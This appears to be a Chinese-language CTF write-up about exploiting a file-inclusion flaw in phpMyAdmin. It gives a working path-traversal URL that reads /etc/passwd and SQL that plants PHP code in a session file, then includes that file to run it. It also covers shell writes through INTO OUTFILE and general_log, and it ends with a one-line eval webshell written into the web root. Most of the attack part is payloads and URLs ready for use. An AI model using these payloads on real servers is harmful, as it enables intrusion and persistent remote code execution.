http://124.70.71.251:42615/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

文件包含成功,说明可以存在文件包含漏洞

image.png

session包含写入

执行一个sql语句

select '<?php phpinfo();exit;?>'
image.png

获取自己的sessionID值

你的 SESSION ID 为 Cookie 中的 phpMyAdmin 项。

image.png

网上很多说写入var目录的,即/var/lib/php/sessions

但是默认情况下,linux数据库文件是没有读取权限的。

windows下倒是没限制。

ps:数据库路径可以根据全局参数里的信息来推断。

2.写入文件来getshell

要求secure_file_priv不是null,直接通过select "" into outfile "xxxxxxxx",写入shell文件。

3.写入Log

普通log:

set global general_log=1

set global general_log_file="路径"

index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_dvuqfhlb5ehvlo75035tb0nkjg7h6vhe

这样写入是会报错的。

e474e6333630ffc7d9dba75f159676b.png

如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)

而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。

window下的目录和中间件相关。

http://124.70.71.251:42615/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_dvuqfhlb5ehvlo75035tb0nkjg7h6vhe

image.png

getshell

参考文章:

以上所说的都是执行的phpinfo,以及get方式执行了命令,无法用蚁剑等工具直接连接shell,所以就想利用文件包含直接生成一个webshell,所以有了以下想法。

https://blog.csdn.net/weixin_45447309/article/details/106949297

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK

但是此题可以直接写入webshell

select "<?php @eval($_POST['pass']);?>" INTO OUTFILE "/var/www/html/2.php"
88284c2639c62ba7fde167989d0af49.png